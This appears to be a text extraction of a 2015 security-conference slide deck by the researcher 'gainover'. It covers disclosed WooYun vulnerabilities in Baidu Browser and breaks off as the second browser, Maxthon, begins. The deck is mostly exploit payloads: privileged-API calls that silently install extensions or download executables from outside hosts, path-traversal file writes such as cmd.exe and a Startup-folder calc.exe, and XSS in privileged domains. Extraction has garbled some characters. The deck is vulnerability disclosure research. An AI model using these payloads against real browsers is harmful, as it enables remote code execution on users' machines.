疗一疗本土“瘤”览器 @gainover 乱涂鸦,幼儿园水平。 喜欢各种脚本语言。 脚本小子一枚。 ID: gainover 喜欢各种球类活动, 但不怎么运动。 热爱大自然,但不怎 么外出。 Dota,20+的1分英雄。 来自乌云的称 呼: 主治:不孕不育、风湿、类风湿、关节炎、皮肤顽症 …. 阵容:由 PKAV 医疗团队成员轮流坐诊! 第一位患者:“百度浏览器” 病例编号:WooYun-‐2014-‐080158 诊断结果:插件安装à命令执行 特权API: 静默安装插件 特权域: h:p://xapp.baidu.com/ window.external.StartRequest(222,"AppS ervice.AppMarket.DownloadPack","(func Von(id,res){alert(res)})","{\"ID\":\"Silenter \",\"UPDATE\":\"true\",\"URL\":\"h:p:// x.com/swf_collector.crx\"}",window,""); Xss Auditor拦截 特权域XSS: h:p://xapp.baidu.com/browserextension/ single/sinaweibo/ auth.php#access_token=<img src=1 onerror=alert(1)> ]p:// 会采用IE模式打开 ]p://192.168.1.107/test/ bdbrowser.htm 病例编号:WooYun-‐2014-‐80438 特权域: h:p://xapp.baidu.com/ bdbrowser:// file:// data: blob: 诊断结果:文件下载写入à命令执行 window.external.StartRequest(1," bdbrowser.skin.download","(funcVon(id,res) {console.log(res)})","{\"name\": \"1/../../../../../../../../../../../../../cmd.exe\", \"url\":\"hLp://192.168.1.105/testbaidu.exe \"}",window,"") var data='<script>执行特权命令</script>'; var blob=new Blob([data],{"type":"text/html"}); (funcVon(){ var iframe=document.createElement("iframe"); iframe.src=URL.createObjectURL(blob); document.body.appendChild(iframe); })() 病例编号:WooYun-‐2014-‐80910 诊断结果:文件下载写入à命令执行 window.external.StartRequest(1,"bdbrowser.skin.d ownload","(funcVon(id,res) {console.log(res)})","{\"name\": \"1//..//..//..//..//..//..//..//test.js\",\"url\": \"hLp://xapp.baidu.com/interface/ lib.get_app_list_new?callback=恶意JS代码 \"}",window,"") ]p:// 会采用IE模式打开 ]p://192.168.1.107/test/ bdbrowser2.htm 特权域: h:p://xapp.baidu.com/ bdbrowser:// file:// data: blob: File协议下的XSS:UNC path \\127.0.0.1/C$/Program Files/baidu/baiduBrowser/resource/ extension/security/safe_default.html#path=aa<script/ defer>eval(window.name);</script> var obj = queryHash(decodeURIComponent(locaVon.hash).replace("#", "")); document.getElementById("path").innerHTML = obj.path; 病例编号:WooYun-‐2014-‐80910 诊断结果:插件安装à命令执行 特权API: 静默安装插件 特权域: h:p://xapp.baidu.com/ URL跳转 window.external.StartRequest(222,"AppS ervice.AppMarket.DownloadPack","(func Von(id,res){alert(res)})","{\"ID\":\"Silenter \",\"UPDATE\":\"false\",\"URL\": \"h:p://newsleLer.baidu.com/u.html? xxxxxxx&.crx\"}",window,""); 特权域XSS: h:p://xapp.baidu.com/browserextension/ single/Veba/Vebarslidebar/v_6-‐0/ Vebaslidebar-‐login-‐confirm.html#! f=aaaa&uid=vvvvv&uname=<img src=1 onerror=alert(1)> 病例编号:WooYun-‐2014-‐83294 诊断结果:文件下载写入à命令执行 特权API:设置静默下载 特权URL: data:text/html,biduwebdata h:p:// window.external.StartRequest(1058," set_string_pref","","[\"download_def ault_directory\",\""+dir+"\"]"); window.external.StartRequest(1059," set_boolean_pref","","[\"download_a uto_save\",true]"); 特权URL XSS: file:///C:/xxxxxx#"><img/ src="1"/onerror="alert(1)"> res:///C:/xxxxxx#"><img/src="1"/ onerror="alert(1)"> 病例编号:WooYun-‐2015-‐93620 诊断结果:文件下载写入à命令执行 特权API:设置静默下载 特权域: h:p://liulanqi.baidu.com/ h:p://bbs.liulanqi.baidu.com/ window.external.StartRequest(1058," set_string_pref","","[\"download_def ault_directory\",\""+dir+"\"]"); window.external.StartRequest(1059," set_boolean_pref","","[\"download_a uto_save\",true]"); 特权域XSS:存储型DOM XSS [url=h:p://pan.baidu.com/s/1dDgZov3?frm=fujian#%7B%22surl%22%3A %22s%2F1dDgZov3%3Ffrm%3Dfujian%22%2C%22sdate %22%3A1422007684%2C%22sname%22%3A%22<img src onerror=console.log(111111)>logo.png%22%2C%22isdir%22%3A0%2C %22uk%22%3A%222600757472%22%2C%22uname%22%3A%22abc %22%7D]百度云附件:logo.png[/url] 病例编号:WooYun-‐2015-‐96413 诊断结果:文件解压写入à命令执行 解压时未考虑名称包含 ../ h:p://bbs.liulanqi.baidu.com/ 特权域: h:p://chajian.baidu.com/app-‐ res.html ../../../../../../../../../Documents and Se|ngs/All Users/「开始」菜单/程序/ 启动/calc.exe 特权域下的特权功能暴露: var f=document.createElement("iframe");f.src="h:p://chajian.baidu.com/app-‐ res.html"; f.onload=funcVon(){ f.contentWindow.postMessage('{"type":"install","data": {"id":"fpdnjdlbdmifoocedhkighhlbchbiikl","url":"h:p://dlsw.br.baidu.com/app/ 201410/1f457685544a52b101cc1f173adae6f8.crx","ext_url":"hLp://xsst.sinaapp.com/ poc/bd2.zip"}}','*'); }; document.body.appendChild(f); 第二位患者:“傲游浏览器” 病例编号:WooYun
2015-《疗一疗本土浏览器-gainover》
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本文档由 张玉竹 于 2022-04-07 17:46:44上传分享